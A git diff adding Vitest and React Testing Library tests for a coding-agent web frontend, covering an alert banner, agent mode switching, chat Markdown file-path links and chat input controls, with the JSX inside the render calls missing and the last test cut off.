diff --git a/__tests__/components/features/alerts/alert-banner.test.tsx b/__tests__/components/features/alerts/alert-banner.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..3ddceb19b0232e1fa9b1f09014decac3f2205b48
--- /dev/null
+++ b/__tests__/components/features/alerts/alert-banner.test.tsx
@@ -0,0 +1,287 @@
+import { fireEvent, render, screen, within } from "@testing-library/react";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { act } from "react";
+import { MemoryRouter } from "react-router";
+import { AlertBanner } from "#/components/features/alerts/alert-banner";
+
+// Mock react-i18next
+vi.mock("react-i18next", async () => {
+ const actual =
+ await vi.importActual("react-i18next");
+ return {
+ ...actual,
+ useTranslation: () => ({
+ t: (key: string, options?: { time?: string }) => {
+ const translations: Record = {
+ MAINTENANCE$SCHEDULED_MESSAGE: `Scheduled maintenance will begin at ${options?.time || "{{time}}"}`,
+ ALERT$FAULTY_MODELS_MESSAGE:
+ "The following models are currently reporting errors:",
+ "ERROR$TRANSLATED_KEY": "This is a translated error message",
+ };
+ return translations[key] || key;
+ },
+ }),
+ };
+});
+
+describe("AlertBanner", () => {
+ afterEach(() => {
+ localStorage.clear();
+ });
+
+ describe("Maintenance alerts", () => {
+ it("renders maintenance banner with formatted time", () => {
+ const startTime = "2024-01-15T10:00:00-05:00";
+ const updatedAt = "2024-01-14T10:00:00Z";
+
+ const { container } = render(
+
+
+ ,
+ );
+
+ const banner = screen.queryByTestId("alert-banner");
+ expect(banner).toBeInTheDocument();
+
+ const svgIcon = container.querySelector("svg");
+ expect(svgIcon).toBeInTheDocument();
+
+ const button = within(banner!).queryByTestId("dismiss-button");
+ expect(button).toBeInTheDocument();
+ });
+
+ it("click on dismiss button removes banner", () => {
+ const startTime = "2024-01-15T10:00:00-05:00";
+ const updatedAt = "2024-01-14T10:00:00Z";
+
+ render(
+
+
+ ,
+ );
+
+ const banner = screen.queryByTestId("alert-banner");
+ const button = within(banner!).queryByTestId("dismiss-button");
+
+ act(() => {
+ fireEvent.click(button!);
+ });
+
+ expect(banner).not.toBeInTheDocument();
+ });
+
+ it("banner reappears when updatedAt changes", () => {
+ const startTime = "2024-01-15T10:00:00-05:00";
+ const updatedAt = "2024-01-14T10:00:00Z";
+ const newUpdatedAt = "2024-01-15T10:00:00Z";
+
+ const { rerender } = render(
+
+
+ ,
+ );
+
+ const banner = screen.queryByTestId("alert-banner");
+ const button = within(banner!).queryByTestId("dismiss-button");
+
+ act(() => {
+ fireEvent.click(button!);
+ });
+
+ expect(banner).not.toBeInTheDocument();
+
+ rerender(
+
+
+ ,
+ );
+
+ expect(screen.queryByTestId("alert-banner")).toBeInTheDocument();
+ });
+ });
+
+ describe("Faulty models alerts", () => {
+ it("renders banner with faulty models list", () => {
+ const faultyModels = ["gpt-4", "claude-3"];
+ const updatedAt = "2024-01-14T10:00:00Z";
+
+ render(
+
+
+ ,
+ );
+
+ const banner = screen.queryByTestId("alert-banner");
+ expect(banner).toBeInTheDocument();
+
+ expect(
+ screen.getByText(/The following models are currently reporting errors:/),
+ ).toBeInTheDocument();
+ // Models are displayed in the order they are provided
+ expect(screen.getByText(/gpt-4/)).toBeInTheDocument();
+ expect(screen.getByText(/claude-3/)).toBeInTheDocument();
+ });
+
+ it("does not render banner when faulty models array is empty", () => {
+ const updatedAt = "2024-01-14T10:00:00Z";
+
+ render(
+
+
+ ,
+ );
+
+ const banner = screen.queryByTestId("alert-banner");
+ expect(banner).not.toBeInTheDocument();
+ });
+
+ it("banner reappears when updatedAt changes", () => {
+ const faultyModels = ["gpt-4"];
+ const updatedAt = "2024-01-14T10:00:00Z";
+ const newUpdatedAt = "2024-01-15T10:00:00Z";
+
+ const { rerender } = render(
+
+
+ ,
+ );
+
+ const banner = screen.queryByTestId("alert-banner");
+ const button = within(banner!).queryByTestId("dismiss-button");
+
+ act(() => {
+ fireEvent.click(button!);
+ });
+
+ expect(banner).not.toBeInTheDocument();
+
+ rerender(
+
+
+ ,
+ );
+
+ expect(screen.queryByTestId("alert-banner")).toBeInTheDocument();
+ });
+ });
+
+ describe("Error message alerts", () => {
+ it("renders banner with translated error message", () => {
+ const updatedAt = "2024-01-14T10:00:00Z";
+
+ render(
+
+
+ ,
+ );
+
+ const banner = screen.queryByTestId("alert-banner");
+ expect(banner).toBeInTheDocument();
+ expect(
+ screen.getByText("This is a translated error message"),
+ ).toBeInTheDocument();
+ });
+
+ it("renders banner with raw error message when no translation exists", () => {
+ const rawErrorMessage = "This is a raw error without translation";
+ const updatedAt = "2024-01-14T10:00:00Z";
+
+ render(
+
+
+ ,
+ );
+
+ const banner = screen.queryByTestId("alert-banner");
+ expect(banner).toBeInTheDocument();
+ expect(screen.getByText(rawErrorMessage)).toBeInTheDocument();
+ });
+
+ it("does not render banner when error message is empty", () => {
+ const updatedAt = "2024-01-14T10:00:00Z";
+
+ render(
+
+
+ ,
+ );
+
+ const banner = screen.queryByTestId("alert-banner");
+ expect(banner).not.toBeInTheDocument();
+ });
+
+ it("does not render banner when error message is null", () => {
+ const updatedAt = "2024-01-14T10:00:00Z";
+
+ render(
+
+
+ ,
+ );
+
+ const banner = screen.queryByTestId("alert-banner");
+ expect(banner).not.toBeInTheDocument();
+ });
+ });
+
+ describe("Multiple alerts", () => {
+ it("renders all alerts when multiple conditions are present", () => {
+ const startTime = "2024-01-15T10:00:00-05:00";
+ const faultyModels = ["gpt-4"];
+ const errorMessage = "ERROR$TRANSLATED_KEY";
+ const updatedAt = "2024-01-14T10:00:00Z";
+
+ render(
+
+
+ ,
+ );
+
+ const banner = screen.queryByTestId("alert-banner");
+ expect(banner).toBeInTheDocument();
+
+ expect(
+ screen.getByText(/Scheduled maintenance will begin at/),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByText(/The following models are currently reporting errors:/),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByText("This is a translated error message"),
+ ).toBeInTheDocument();
+ });
+
+ it("dismissing hides all alerts", () => {
+ const startTime = "2024-01-15T10:00:00-05:00";
+ const faultyModels = ["gpt-4"];
+ const updatedAt = "2024-01-14T10:00:00Z";
+
+ render(
+
+
+ ,
+ );
+
+ const banner = screen.queryByTestId("alert-banner");
+ const button = within(banner!).queryByTestId("dismiss-button");
+
+ act(() => {
+ fireEvent.click(button!);
+ });
+
+ expect(banner).not.toBeInTheDocument();
+ });
+ });
+});
diff --git a/__tests__/components/features/chat/change-agent-button.test.tsx b/__tests__/components/features/chat/change-agent-button.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ed8c51f45bae39db8636a66aeecbd118880c18af
--- /dev/null
+++ b/__tests__/components/features/chat/change-agent-button.test.tsx
@@ -0,0 +1,448 @@
+import type { ReactNode, SVGProps } from "react";
+import { act, fireEvent, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import { ChangeAgentButton } from "#/components/features/chat/change-agent-button";
+import { AgentState } from "#/types/agent-state";
+import { useConversationStore } from "#/stores/conversation-store";
+import { renderWithProviders } from "../../../../test-utils";
+
+const mocks = vi.hoisted(() => ({
+ webSocketStatus: "OPEN",
+ agentState: "awaiting_user_input",
+ conversation: {
+ id: "parent-conversation-123",
+ sub_conversation_ids: [] as string[],
+ } as
+ | {
+ id: string;
+ sub_conversation_ids: string[];
+ }
+ | undefined,
+ taskStatus: undefined as string | undefined,
+ subConversationId: undefined as string | undefined,
+ isCreatingConversation: false,
+ handlePlanClick: vi.fn(
+ (event?: { preventDefault?: () => void; stopPropagation?: () => void }) => {
+ event?.preventDefault?.();
+ event?.stopPropagation?.();
+ },
+ ),
+ invalidateQueries: vi.fn(),
+}));
+
+vi.mock("#/components/shared/buttons/styled-tooltip", () => ({
+ StyledTooltip: ({
+ content,
+ children,
+ }: {
+ content: ReactNode;
+ children: ReactNode;
+ }) => (
+ <>
+ {children}
+ {content}
+ >
+ ),
+}));
+
+vi.mock("#/icons/lesson-plan.svg?react", () => ({
+ default: (props: SVGProps) => (
+
+ ),
+}));
+
+vi.mock("#/icons/code-pill", () => ({
+ CodePillIcon: (props: SVGProps) => (
+
+ ),
+}));
+
+vi.mock("#/hooks/use-unified-websocket-status", () => ({
+ useUnifiedWebSocketStatus: () => mocks.webSocketStatus,
+}));
+
+vi.mock("#/hooks/use-agent-state", () => ({
+ useAgentState: () => ({ curAgentState: mocks.agentState }),
+}));
+
+vi.mock("@tanstack/react-query", async () => {
+ const actual = await vi.importActual("@tanstack/react-query");
+ return {
+ ...actual,
+ useQueryClient: () => ({
+ invalidateQueries: mocks.invalidateQueries,
+ }),
+ };
+});
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+ useActiveConversation: () => ({
+ data: mocks.conversation,
+ isFetched: true,
+ refetch: vi.fn(),
+ }),
+}));
+
+vi.mock("#/hooks/query/use-sub-conversation-task-polling", () => ({
+ useSubConversationTaskPolling: (
+ _taskId: string | null,
+ parentConversationId: string | null,
+ ) => {
+ const hasExpectedParent =
+ parentConversationId === (mocks.conversation?.id ?? null);
+
+ return {
+ taskStatus: hasExpectedParent ? mocks.taskStatus : undefined,
+ subConversationId: hasExpectedParent
+ ? mocks.subConversationId
+ : undefined,
+ };
+ },
+}));
+
+vi.mock("#/hooks/use-handle-plan-click", () => ({
+ useHandlePlanClick: () => ({
+ handlePlanClick: mocks.handlePlanClick,
+ isCreatingConversation: mocks.isCreatingConversation,
+ }),
+}));
+
+type RenderOverrides = {
+ conversationMode?: "code" | "plan";
+ subConversationTaskId?: string | null;
+ conversationId?: string | null;
+ activeConversationId?: string | null;
+ webSocketStatus?: "CONNECTING" | "OPEN" | "CLOSED" | "CLOSING";
+ agentState?: AgentState;
+ isCreatingConversation?: boolean;
+ taskStatus?: string;
+ subConversationId?: string;
+};
+
+function renderButton(overrides: RenderOverrides = {}) {
+ mocks.invalidateQueries.mockReset();
+ mocks.handlePlanClick.mockReset();
+ mocks.webSocketStatus = overrides.webSocketStatus ?? "OPEN";
+ mocks.agentState = overrides.agentState ?? AgentState.AWAITING_USER_INPUT;
+ mocks.conversation =
+ overrides.activeConversationId === null
+ ? undefined
+ : {
+ id: overrides.activeConversationId ?? "parent-conversation-123",
+ sub_conversation_ids: [],
+ };
+ mocks.taskStatus = overrides.taskStatus;
+ mocks.subConversationId = overrides.subConversationId;
+ mocks.isCreatingConversation = overrides.isCreatingConversation ?? false;
+
+ useConversationStore.setState({
+ conversationMode: overrides.conversationMode ?? "code",
+ subConversationTaskId: overrides.subConversationTaskId ?? null,
+ });
+
+ mocks.handlePlanClick.mockImplementation((event) => {
+ event?.preventDefault?.();
+ event?.stopPropagation?.();
+ useConversationStore.getState().setConversationMode("plan");
+ });
+
+ return renderWithProviders( , {
+ navigation: {
+ conversationId:
+ overrides.conversationId === undefined
+ ? "route-conversation-123"
+ : overrides.conversationId,
+ },
+ });
+}
+
+function getModeButton() {
+ return screen.getByRole("button", {
+ name: /COMMON\$(CODE|PLAN)/,
+ });
+}
+
+describe("ChangeAgentButton cache refresh", () => {
+ it("refreshes the parent once per ready task", async () => {
+ const { rerender } = renderButton({
+ subConversationTaskId: "task-456",
+ taskStatus: "READY",
+ subConversationId: "sub-conversation-789",
+ });
+
+ await waitFor(() => {
+ expect(mocks.invalidateQueries).toHaveBeenCalledTimes(1);
+ });
+ expect(mocks.invalidateQueries).toHaveBeenLastCalledWith({
+ queryKey: ["user", "conversation", "parent-conversation-123"],
+ });
+
+ mocks.subConversationId = "sub-conversation-790";
+ rerender( );
+ expect(mocks.invalidateQueries).toHaveBeenCalledTimes(1);
+
+ act(() => {
+ useConversationStore.setState({ subConversationTaskId: "task-457" });
+ });
+
+ await waitFor(() => {
+ expect(mocks.invalidateQueries).toHaveBeenCalledTimes(2);
+ });
+ });
+
+ it.each([
+ {
+ condition: "the task is still working",
+ overrides: {
+ subConversationTaskId: "task-456",
+ taskStatus: "WORKING",
+ subConversationId: "sub-conversation-789",
+ },
+ },
+ {
+ condition: "the task has no sub-conversation yet",
+ overrides: {
+ subConversationTaskId: "task-456",
+ taskStatus: "READY",
+ },
+ },
+ {
+ condition: "the parent conversation is unavailable",
+ overrides: {
+ subConversationTaskId: "task-456",
+ taskStatus: "READY",
+ subConversationId: "sub-conversation-789",
+ activeConversationId: null,
+ },
+ },
+ {
+ condition: "there is no task to refresh",
+ overrides: {
+ taskStatus: "READY",
+ subConversationId: "sub-conversation-789",
+ },
+ },
+ ])("does not refresh when $condition", ({ overrides }) => {
+ renderButton(overrides);
+
+ expect(mocks.invalidateQueries).not.toHaveBeenCalled();
+ });
+});
+
+describe("ChangeAgentButton mode selection", () => {
+ it("shows the current mode and toggles its menu", async () => {
+ const user = userEvent.setup();
+ renderButton();
+
+ const button = getModeButton();
+ expect(button).toBeEnabled();
+ expect(button).toHaveTextContent("COMMON$CODE");
+ expect(button).toHaveClass(
+ "flex",
+ "items-center",
+ "rounded-[100px]",
+ "border",
+ "border-transparent",
+ "text-[var(--oh-muted)]",
+ "cursor-pointer",
+ "hover:text-white",
+ "hover:bg-white/10",
+ );
+ expect(screen.getByTestId("code-agent-icon")).toBeInTheDocument();
+ expect(screen.queryByTestId("plan-agent-icon")).not.toBeInTheDocument();
+ expect(
+ screen.queryByTestId("styled-tooltip-content"),
+ ).not.toBeInTheDocument();
+
+ await user.click(button);
+ expect(screen.getByTestId("change-agent-context-menu")).toBeInTheDocument();
+
+ await user.click(button);
+ expect(
+ screen.queryByTestId("change-agent-context-menu"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("selects plan and code modes from the menu", async () => {
+ const user = userEvent.setup();
+ renderButton();
+
+ await user.click(getModeButton());
+ await user.click(screen.getByTestId("plan-option"));
+
+ expect(getModeButton()).toHaveTextContent("COMMON$PLAN");
+ expect(getModeButton()).toHaveClass(
+ "border",
+ "border-[#597FF4]",
+ "bg-[#4A67BD]",
+ "cursor-pointer",
+ "text-white",
+ "hover:bg-[#597FF4]",
+ );
+ expect(getModeButton()).not.toHaveClass("border-transparent");
+ expect(screen.getByTestId("plan-agent-icon")).toBeInTheDocument();
+ expect(screen.queryByTestId("code-agent-icon")).not.toBeInTheDocument();
+ expect(
+ screen.queryByTestId("change-agent-context-menu"),
+ ).not.toBeInTheDocument();
+
+ await user.click(getModeButton());
+ await user.click(screen.getByTestId("code-option"));
+
+ expect(getModeButton()).toHaveTextContent("COMMON$CODE");
+ expect(screen.getByTestId("code-agent-icon")).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("change-agent-context-menu"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("cycles modes with Shift+Tab without leaking the shortcut", async () => {
+ renderButton();
+
+ fireEvent.keyDown(document, { key: "Tab", shiftKey: false });
+ fireEvent.keyDown(document, { key: "x", shiftKey: true });
+ expect(getModeButton()).toHaveTextContent("COMMON$CODE");
+ expect(mocks.handlePlanClick).not.toHaveBeenCalled();
+
+ const propagated = vi.fn();
+ window.addEventListener("keydown", propagated);
+ const planEvent = new KeyboardEvent("keydown", {
+ key: "Tab",
+ shiftKey: true,
+ bubbles: true,
+ cancelable: true,
+ });
+ let dispatched = true;
+ act(() => {
+ dispatched = document.dispatchEvent(planEvent);
+ });
+ window.removeEventListener("keydown", propagated);
+
+ expect(dispatched).toBe(false);
+ expect(planEvent.defaultPrevented).toBe(true);
+ expect(propagated).not.toHaveBeenCalled();
+ expect(mocks.handlePlanClick).toHaveBeenCalledWith(planEvent);
+ await waitFor(() => {
+ expect(getModeButton()).toHaveTextContent("COMMON$PLAN");
+ });
+
+ const codeEvent = new KeyboardEvent("keydown", {
+ key: "Tab",
+ shiftKey: true,
+ bubbles: true,
+ cancelable: true,
+ });
+ act(() => {
+ document.dispatchEvent(codeEvent);
+ });
+
+ expect(codeEvent.defaultPrevented).toBe(true);
+ expect(getModeButton()).toHaveTextContent("COMMON$CODE");
+ expect(mocks.handlePlanClick).toHaveBeenCalledTimes(1);
+ });
+});
+
+describe("ChangeAgentButton availability", () => {
+ it.each([
+ {
+ condition: "no conversation has started",
+ overrides: { conversationId: null },
+ },
+ {
+ condition: "the agent is running",
+ overrides: { agentState: AgentState.RUNNING },
+ },
+ {
+ condition: "a plan conversation is being created",
+ overrides: {
+ conversationMode: "plan" as const,
+ isCreatingConversation: true,
+ },
+ },
+ {
+ condition: "the websocket is disconnected",
+ overrides: { webSocketStatus: "CLOSED" as const },
+ },
+ ])("disables mode changes when $condition", async ({ overrides }) => {
+ const user = userEvent.setup();
+ renderButton(overrides);
+
+ const button = getModeButton();
+ expect(button).toBeDisabled();
+ expect(button).toHaveClass("opacity-50", "cursor-not-allowed");
+ [
+ "cursor-pointer",
+ "hover:text-white",
+ "hover:bg-white/10",
+ "text-white",
+ "hover:bg-[#597FF4]",
+ ].forEach((interactiveClass) => {
+ expect(button).not.toHaveClass(interactiveClass);
+ });
+
+ await user.click(button);
+ fireEvent.keyDown(document, { key: "Tab", shiftKey: true });
+
+ expect(
+ screen.queryByTestId("change-agent-context-menu"),
+ ).not.toBeInTheDocument();
+ expect(mocks.handlePlanClick).not.toHaveBeenCalled();
+ });
+
+ it("keeps disabled Plan styling non-interactive", () => {
+ renderButton({
+ conversationMode: "plan",
+ isCreatingConversation: true,
+ });
+
+ expect(getModeButton()).toHaveClass(
+ "border",
+ "border-[#597FF4]",
+ "bg-[#4A67BD]",
+ "opacity-50",
+ "cursor-not-allowed",
+ );
+ expect(getModeButton()).not.toHaveClass("border-transparent");
+ });
+
+ it.each([
+ {
+ transition: "the agent starts running",
+ applyTransition: () => {
+ mocks.agentState = AgentState.RUNNING;
+ },
+ },
+ {
+ transition: "the websocket disconnects",
+ applyTransition: () => {
+ mocks.webSocketStatus = "CLOSED";
+ },
+ },
+ ])("closes an open menu when $transition", async ({ applyTransition }) => {
+ const user = userEvent.setup();
+ const { rerender } = renderButton();
+
+ await user.click(getModeButton());
+ expect(screen.getByTestId("change-agent-context-menu")).toBeInTheDocument();
+
+ applyTransition();
+ rerender( );
+
+ await waitFor(() => {
+ expect(
+ screen.queryByTestId("change-agent-context-menu"),
+ ).not.toBeInTheDocument();
+ });
+ expect(getModeButton()).toBeDisabled();
+ });
+
+ it("explains why mode selection is unavailable before a conversation starts", () => {
+ renderButton({ conversationId: null });
+
+ expect(getModeButton()).toBeDisabled();
+ expect(screen.getByTestId("styled-tooltip-content")).toHaveTextContent(
+ "CHANGE_AGENT$SWITCH_AFTER_CONVERSATION",
+ );
+ });
+});
diff --git a/__tests__/components/features/chat/change-agent-context-menu.test.tsx b/__tests__/components/features/chat/change-agent-context-menu.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..20339a22afb668151e307f691780af43a49978da
--- /dev/null
+++ b/__tests__/components/features/chat/change-agent-context-menu.test.tsx
@@ -0,0 +1,62 @@
+import { fireEvent, screen } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { ChangeAgentContextMenu } from "#/components/features/chat/change-agent-context-menu";
+
+describe("ChangeAgentContextMenu", () => {
+ it("marks the active mode with hover background and a checkmark", () => {
+ renderWithProviders(
+ ,
+ );
+
+ const codeOption = screen.getByTestId("code-option");
+ const planOption = screen.getByTestId("plan-option");
+
+ expect(codeOption).toHaveClass("bg-[var(--oh-interactive-hover)]");
+ expect(planOption).not.toHaveClass("bg-[var(--oh-interactive-hover)]");
+ expect(codeOption.querySelectorAll("svg")).toHaveLength(2);
+ expect(planOption.querySelectorAll("svg")).toHaveLength(1);
+ });
+
+ it("shows plan as active when conversation mode is plan", () => {
+ renderWithProviders(
+ ,
+ );
+
+ const codeOption = screen.getByTestId("code-option");
+ const planOption = screen.getByTestId("plan-option");
+
+ expect(planOption).toHaveClass("bg-[var(--oh-interactive-hover)]");
+ expect(codeOption).not.toHaveClass("bg-[var(--oh-interactive-hover)]");
+ expect(planOption.querySelectorAll("svg")).toHaveLength(2);
+ });
+
+ it("calls onCodeClick and onClose when code is selected", () => {
+ const onClose = vi.fn();
+ const onCodeClick = vi.fn();
+
+ renderWithProviders(
+ ,
+ );
+
+ fireEvent.click(screen.getByTestId("code-option"));
+
+ expect(onCodeClick).toHaveBeenCalledTimes(1);
+ expect(onClose).toHaveBeenCalledTimes(1);
+ });
+});
diff --git a/__tests__/components/features/chat/chat-markdown-path-linking.test.tsx b/__tests__/components/features/chat/chat-markdown-path-linking.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5d42760f15a44835abf804ba9e007471872c1974
--- /dev/null
+++ b/__tests__/components/features/chat/chat-markdown-path-linking.test.tsx
@@ -0,0 +1,118 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import ConversationService from "#/api/conversation-service/conversation-service.api";
+import { ChatMessage } from "#/components/features/chat/chat-message";
+import { WorkspaceFilesForChatContext } from "#/components/features/chat/chat-markdown-path-code";
+import { useFilesTabStore } from "#/stores/files-tab-store";
+
+const openWorkspaceFile = vi.fn();
+
+vi.mock("#/services/canvas-ui", () => ({
+ openWorkspaceFile: (...args: unknown[]) => openWorkspaceFile(...args),
+}));
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+ useOptionalConversationId: () => ({ conversationId: "conv-1" }),
+}));
+
+const WORKSPACE_FILES = ["test.md", "motivational_message.md", "src/app.ts"];
+
+function renderAgentMessage(
+ message: string,
+ files: string[] = WORKSPACE_FILES,
+) {
+ return render(
+
+
+ ,
+ );
+}
+
+describe("assistant chat Markdown path linking", () => {
+ beforeEach(() => {
+ openWorkspaceFile.mockClear();
+ ConversationService.setCurrentConversation(null);
+ useFilesTabStore.setState({
+ selectedPath: null,
+ selectedConversationId: null,
+ openPaths: [],
+ });
+ });
+
+ it("opens the Files drawer when an existing workspace path is clicked", async () => {
+ const user = userEvent.setup();
+
+ renderAgentMessage("Created `test.md`");
+
+ await user.click(screen.getByTestId("markdown-file-path-link"));
+
+ expect(openWorkspaceFile).toHaveBeenCalledWith("test.md", "conv-1");
+ });
+
+ it("opens the Files drawer for bold-emphasized existing paths", async () => {
+ const user = userEvent.setup();
+
+ renderAgentMessage(
+ "The file **motivational_message.md** has been created with an inspiring quote.",
+ );
+
+ await user.click(screen.getByTestId("markdown-file-path-link"));
+
+ expect(openWorkspaceFile).toHaveBeenCalledWith(
+ "motivational_message.md",
+ "conv-1",
+ );
+ });
+
+ it("links absolute nested working-dir paths using ConversationService working_dir", async () => {
+ const user = userEvent.setup();
+ ConversationService.setCurrentConversation({
+ id: "conv-1",
+ workspace: { working_dir: "/workspace/project/packages/app" },
+ } as never);
+
+ renderAgentMessage("See `/workspace/project/packages/app/src/index.ts`", [
+ "src/index.ts",
+ ]);
+
+ await user.click(screen.getByTestId("markdown-file-path-link"));
+
+ expect(openWorkspaceFile).toHaveBeenCalledWith("src/index.ts", "conv-1");
+ });
+
+ it("does not link paths that are not in the workspace", () => {
+ renderAgentMessage("Send me exactly same text - profile.md");
+
+ expect(
+ screen.queryByTestId("markdown-file-path-link"),
+ ).not.toBeInTheDocument();
+ expect(screen.getByText(/profile\.md/)).toBeInTheDocument();
+ });
+
+ it("does not link missing backtick paths either", () => {
+ renderAgentMessage("See `profile.md` please");
+
+ expect(
+ screen.queryByTestId("markdown-file-path-link"),
+ ).not.toBeInTheDocument();
+ expect(screen.getByText("profile.md").tagName).toBe("CODE");
+ });
+
+ it("keeps path code nested in a Markdown link as plain code", () => {
+ renderAgentMessage("See [`src/app.ts`](https://example.com)");
+
+ expect(
+ screen.queryByTestId("markdown-file-path-link"),
+ ).not.toBeInTheDocument();
+ expect(screen.getByText("src/app.ts").tagName).toBe("CODE");
+ });
+
+ it("does not link ordinary dotted / non-path inline code", () => {
+ renderAgentMessage("Use `console.log` and `v1.2.3`");
+
+ expect(
+ screen.queryByTestId("markdown-file-path-link"),
+ ).not.toBeInTheDocument();
+ });
+});
diff --git a/__tests__/components/features/chat/components/chat-input-actions.test.tsx b/__tests__/components/features/chat/components/chat-input-actions.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..58cb28e1def1f3561e70eb902953fce8385859d3
--- /dev/null
+++ b/__tests__/components/features/chat/components/chat-input-actions.test.tsx
@@ -0,0 +1,391 @@
+import React from "react";
+import { fireEvent, screen, waitFor } from "@testing-library/react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+
+const useActiveConversationMock = vi.fn<
+ () => {
+ data:
+ | {
+ conversation_id: string;
+ agent_kind?: "openhands" | "acp";
+ llm_model: string | null;
+ }
+ | undefined;
+ }
+>(() => ({ data: undefined }));
+
+vi.mock("#/components/features/controls/agent-status", () => ({
+ AgentStatus: () =>
,
+}));
+
+vi.mock("#/components/features/chat/change-agent-button", () => ({
+ ChangeAgentButton: () =>
,
+}));
+
+vi.mock(
+ "#/components/features/chat/components/chat-input-profile-picker",
+ () => ({
+ ChatInputProfileMenuContent: () => (
+
+ ),
+ }),
+);
+
+vi.mock(
+ "#/components/features/chat/components/chat-input-llm-profile-picker",
+ () => ({
+ ChatInputLlmProfilePicker: () => (
+
+ ),
+ ChatInputLlmProfileMenuContent: () => (
+
+ ),
+ }),
+);
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+ useActiveConversation: () => useActiveConversationMock(),
+}));
+
+// Service-level mock (not the hook): drives the Switch-agent-profile gate,
+// which reads the real useAgentProfiles query.
+const listAgentProfilesMock = vi.fn();
+vi.mock("#/api/agent-profiles-service/agent-profiles-service.api", () => ({
+ default: {
+ listProfiles: (...args: unknown[]) => listAgentProfilesMock(...args),
+ getProfile: vi.fn(),
+ saveProfile: vi.fn(),
+ activateProfile: vi.fn(),
+ },
+ WELL_KNOWN_DEFAULT_AGENT_PROFILE_NAME: "default",
+}));
+
+vi.mock("#/hooks/mutation/conversation-mutation-utils", () => ({
+ pauseConversation: vi.fn(),
+ resumeConversation: vi.fn(),
+ askAgent: vi.fn(),
+ updateConversationExecutionStatusInCache: vi.fn(),
+ invalidateConversationQueries: vi.fn(),
+}));
+
+// eslint-disable-next-line import/first
+import { ChatInputActions } from "#/components/features/chat/components/chat-input-actions";
+
+const cloudBackend: Backend = {
+ id: "prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-token",
+ kind: "cloud",
+};
+
+describe("ChatInputActions", () => {
+ afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ useActiveConversationMock.mockReset();
+ useActiveConversationMock.mockReturnValue({ data: undefined });
+ });
+
+ it("renders the LLM-profile picker on the home page (local)", () => {
+ useActiveConversationMock.mockReturnValue({ data: undefined });
+
+ renderWithProviders( , {
+ navigation: { conversationId: null },
+ });
+
+ // The pill is always an LLM selector (OSS-5735) — agent-profile switching
+ // lives in the "+" tools menu instead.
+ expect(screen.getByTestId("llm-profile-picker-stub")).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("chat-input-llm-model"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("renders the LLM-profile picker on the home page (cloud)", () => {
+ // Cloud used to fall back to a read-only model chip before a conversation
+ // started, surfacing the raw model path instead of the profile name (#1932
+ // review). The pill names the profile on every backend now.
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+ useActiveConversationMock.mockReturnValue({ data: undefined });
+
+ renderWithProviders( , {
+ navigation: { conversationId: null },
+ });
+
+ expect(screen.getByTestId("llm-profile-picker-stub")).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("chat-input-llm-model"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("renders the LLM-profile picker inside a blank local OpenHands conversation", () => {
+ useActiveConversationMock.mockReturnValue({
+ data: { conversation_id: "test-conversation-id", llm_model: null },
+ });
+
+ renderWithProviders(
+ ,
+ {
+ navigation: { conversationId: "test-conversation-id" },
+ },
+ );
+
+ expect(screen.getByTestId("llm-profile-picker-stub")).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("chat-input-llm-model"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("renders the LLM-profile switcher inside a started local OpenHands conversation", () => {
+ useActiveConversationMock.mockReturnValue({
+ data: { conversation_id: "test-conversation-id", llm_model: "gpt-4o" },
+ });
+
+ renderWithProviders(
+ ,
+ {
+ navigation: { conversationId: "test-conversation-id" },
+ },
+ );
+
+ // In a conversation the user live-switches the LLM profile.
+ expect(screen.getByTestId("llm-profile-picker-stub")).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("chat-input-llm-model"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("renders the model switcher inside a local ACP conversation", () => {
+ useActiveConversationMock.mockReturnValue({
+ data: {
+ conversation_id: "test-conversation-id",
+ agent_kind: "acp",
+ llm_model: "claude-sonnet-4-6",
+ },
+ });
+
+ renderWithProviders(
+ ,
+ {
+ navigation: { conversationId: "test-conversation-id" },
+ },
+ );
+
+ // ACP in a conversation live-switches the running model via ChatInputModel.
+ expect(screen.getByTestId("chat-input-llm-model")).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("llm-profile-picker-stub"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("renders the active conversation model in a cloud ACP conversation", () => {
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+ useActiveConversationMock.mockReturnValue({
+ data: {
+ conversation_id: "test-conversation-id",
+ agent_kind: "acp",
+ llm_model: "gpt-4o",
+ },
+ });
+
+ renderWithProviders(
+
+
+ ,
+ );
+
